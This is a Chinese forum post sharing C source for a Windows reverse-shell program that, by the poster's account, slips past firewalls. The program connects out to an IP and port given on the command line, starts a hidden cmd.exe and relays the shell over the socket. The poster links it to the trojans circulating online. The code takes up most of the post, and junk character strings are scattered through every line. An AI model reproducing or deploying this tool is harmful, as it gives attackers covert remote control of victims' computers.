社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6333阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 dO[4}FZ$  
@QG1\W'  
/* ============================== !`_f\  
Rebound port in Windows NT =dBrmMh  
By wind,2006/7 HWhKX:`l  
===============================*/ a,~P_B|@  
#include m'tk#C  
#include 50&F#v%YB  
kKM%    
#pragma comment(lib,"wsock32.lib") $at|1+bQ  
udFju&!W  
void OutputShell(); pG @iR*?  
SOCKET sClient; qfu2}qUX~%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p]&Q`oh  
CK(ev*@\D,  
void main(int argc,char **argv) ? 6d4T  
{ V+24-QWh  
WSADATA stWsaData; =LxmzQO#  
int nRet; }NCvaO  
SOCKADDR_IN stSaiClient,stSaiServer; W~3tQ!  
6t:c]G'J  
if(argc != 3) r6JkoP Mh  
{ P@YL.'KU)  
printf("Useage:\n\rRebound DestIP DestPort\n"); Td*Oljj._U  
return; Ra5'x)m36)  
} <y!r~?  
~,2hP ~  
WSAStartup(MAKEWORD(2,2),&stWsaData); V^I /nuy  
q}$=bR1+  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9D{).f0  
f9UaAdJ(  
stSaiClient.sin_family = AF_INET; "5:f{GfO#v  
stSaiClient.sin_port = htons(0); )V3(nZY  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K<6x4ha  
':D&c  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1:zu$|%7  
{ g@i>R>  
printf("Bind Socket Failed!\n"); 4D$sFR|?t  
return; *\KvcRMGUa  
} b',bi.FH  
b0Ov+ )7#  
stSaiServer.sin_family = AF_INET; `?^w  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rJZs 5g`  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); jHlOP,kc  
Lzx$"R-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 'S7@+kJ  
{ \Z20fh2  
printf("Connect Error!"); F9P0cGDs  
return; 4>VZk^%b#  
} yVHlT  
OutputShell(); gvqd 1?0w  
} v\(m"|4(i  
C'/M/|=Q#  
void OutputShell() _SC  
{ ?vn 0%e868  
char szBuff[1024]; i `QK'=h[  
SECURITY_ATTRIBUTES stSecurityAttributes; C2rj]t  
OSVERSIONINFO stOsversionInfo; /lB0>Us  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ynZ[c8.  
STARTUPINFO stStartupInfo; XYHCggy  
char *szShell; M |?p3%  
PROCESS_INFORMATION stProcessInformation; ?w37vsN  
unsigned long lBytesRead; '$h @  
D4Y!,7WEVt  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); CKt|c!3 7  
ESxC{ "  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /~l/_Jct@G  
stSecurityAttributes.lpSecurityDescriptor = 0; }&T<wm!  
stSecurityAttributes.bInheritHandle = TRUE; Of7) A  
I49l2>  
{L4>2rF  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t9n   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j22#Bw  
(_qBsng:  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >9<8G]vcH  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O%K?l}e  
stStartupInfo.wShowWindow = SW_HIDE; @=NVOJy}c  
stStartupInfo.hStdInput = hReadPipe; e*2&s5 #RT  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (Ef2 w[ '  
B_"OA3d_  
GetVersionEx(&stOsversionInfo); )n}]]^Sc  
4ZJT[zi  
switch(stOsversionInfo.dwPlatformId) )yNw2+ ~5  
{ >}DjHLTW\  
case 1: ~"q,<t  
szShell = "command.com"; N _~KZQ11^  
break; sb|3|J6=  
default: Q;XHHk  
szShell = "cmd.exe"; O<dZA=Oez  
break; p~q_0Pg%  
} RUk<=! U  
()C^ta_]  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g)9JO6]  
Krr?`n  
send(sClient,szMsg,77,0); $}^\=p}X  
while(1) I*W9VhIOV  
{ d@6:|auO  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); a(ux?V)E.  
if(lBytesRead) %kZ~xbY  
{ l0caP(  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); sh !~T<yy  
send(sClient,szBuff,lBytesRead,0); W?^8/1U  
} qXB03}] G  
else ? gA=39[j  
{ *]m kyAhi  
lBytesRead=recv(sClient,szBuff,1024,0); uZ/7t(fy  
if(lBytesRead<=0) break; N{^>MRK=5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); l|vWeBs  
} PUE'Rr(Q  
} )7I.N]=  
:!I)r$  
return; JMirz~%ib  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五